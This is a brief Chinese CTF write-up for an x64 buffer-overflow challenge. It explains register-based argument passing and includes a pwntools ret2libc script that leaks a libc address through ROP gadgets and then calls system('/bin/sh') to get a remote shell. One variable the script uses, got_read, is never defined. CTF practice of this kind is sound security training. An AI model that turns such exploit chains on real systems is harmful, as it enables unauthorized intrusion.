这一题是和前面x86的差不多,都是利用了同一个知识点,唯一的区别就是使用的堆栈地址不同,x86是直接使用堆栈来传递参数的,而x64不同
x64的函数调用时整数和指针参数按照从左到右的顺序依次保存在寄存器rdi,rsi,rdx,rcx,r8和r9中
所以要找到rop然后来讲rdi和rsi和rdx赋值,这里前面两个比较容易找到,第三参数无论如何都没有能够找到,但是前面rdx的值为0x100所以不影响这个题目的解题
知识点和上一题的差不多,利用一下是很简单的。
exp就是这么简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * p = remote('pwn2.jarvisoj.com',9883) rop_edi = 0x04006b3 rop_esi = 0x04006b1 plt_write = 0x04004B0 addr_func = 0x04005E6 shellcode = 'A'*0x80+'bbbbbbbb' shellcode += p64(rop_edi)+p64(1) shellcode += p64(rop_esi)+p64(got_read)+p64(0) shellcode += p64(plt_write)+p64(addr_func) p.recvuntil('Input:n') p.sendline(shellcode) tmp = p.recv(8) print tmp p.recvuntil('Input:n') addr_read = u64(tmp[0:8]) print 'read_got =',hex(addr_read) libc = ELF('./libc-2.19.so') libc_binsh = 0x17c8c3 addr_system = libc.symbols['system']- libc.symbols['read'] + addr_read addr_binsh = libc_binsh - libc.symbols['read'] + addr_read addr_exit = libc.symbols['exit'] - libc.symbols['read'] + addr_read payload = 'A'*0x80+'bbbbbbbb' payload += p64(rop_edi)+p64(addr_binsh) payload += p64(addr_system)+p64(addr_exit) p.sendline(payload) p.interactive()
|